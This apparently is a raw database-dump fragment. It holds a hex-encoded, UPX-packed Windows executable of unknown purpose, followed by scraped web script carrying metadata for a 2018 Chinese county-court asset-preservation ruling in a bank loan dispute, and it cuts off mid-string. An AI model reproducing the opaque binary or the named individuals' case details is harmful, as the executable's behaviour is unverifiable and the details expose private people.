002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A631','2018-09-30
05:41:27',0,'web',NULL),(32382131,'7da62544-2871-45f1-8b24-a8ff012e75b1','$(function(){$(\"#con_llcs\").html(\"浏览：75次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"竹山县\",\"法院ID\":\"1930\",\"DocContent\":\"\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"其他\",\"案号\":\"（2018）鄂0323财保40号\",\"法院地市\":\"十堰市\",\"法院省份\":\"湖北\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"7da62544-2871-45f1-8b24-a8ff012e75b1\",\"案件名称\":\"竹山楚农商村镇银行股份有限公司、李开明金融借款合同纠纷其他民事裁定书\",\"法院名称\":\"竹山县人民法院\",\"裁判要旨段原文\":\"\",\"补正文书\":\"2\",\"诉讼记录段原文\":\"申请人竹山楚农商村镇银行股份有限公司与被申请人李开明、殷玲玲、胡显平、马学英、任光辉、孙本红、吴克喜、邓昌荣金融借款合同纠纷一案，竹山楚农商村镇银行股份有限公司于2018年5月22日向本院申请财产保全，请求对被申请人李开明所有的位于竹山县柳林乡墨池村二组的房屋（房权证号：竹山柳林字第××号；土地使用证号：竹山县集用（2015）第20809049号）予以保全。并请求对被申请人李开明、殷玲玲、胡显平、马学英、任光辉、孙本红、吴克喜、邓昌荣在竹山楚农商行村镇银行及竹山农村商业银行的存款账户予以保全\",\"文书全文类型\":\"1\",\"不公开理由\":\"\",\"判决结果段原文\":\"\",\"上传日期\":\"\\\/Date(1528905600000)\\\/\",\"文本尾部原文\":\"\",\"案件类型\":\"2\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"竹山楚农商村镇银行股份有限公司、李开明金融借款合同纠纷其他民事裁定书\");$(\"#tdSource\").html(\"竹山楚农商村镇银行股份有限公司、李开明金融借款合同纠纷其他民事裁定书
（2018）鄂0323财保40号\");$(\"#hidDocID\").val(\"7da62544-2871-45f1-8b24-a8ff012e75b1\");$(\"#hidCaseName\").val(\"竹山楚农商村镇银行股份有限公司、李开明金融借款合同纠纷其他民事裁定书\");$(\"#hidCaseNumber\").val(\"（2018）鄂0323财保40号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"竹山县人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"1930\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"竹山县人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"金融借款合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"其他\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2018-05-29\" },{ name: \"当事人\", key:
\"appellor\", value: \"竹山楚农商村镇银行股份有限公司,李开明,殷玲玲,胡显平,马学英,任光辉,孙本红,吴克喜,邓昌荣\"
}],LegalBase: [{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百条\',法条内容:\'第一百条
系统尚未收录或引用有误
\'},{法条名称:\'第一百零二条\',法条内容:\'第一百零二条
系统尚未收录或引用有误
\'},{法条名称:\'第一百零三条\',法条内容:\'第一百零三条 系统尚未收录或引用有误
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"竹山楚农商村镇银行股份有限公司、李开明金融借款合同纠纷其他民事裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-06-14\\\\\",\\\\\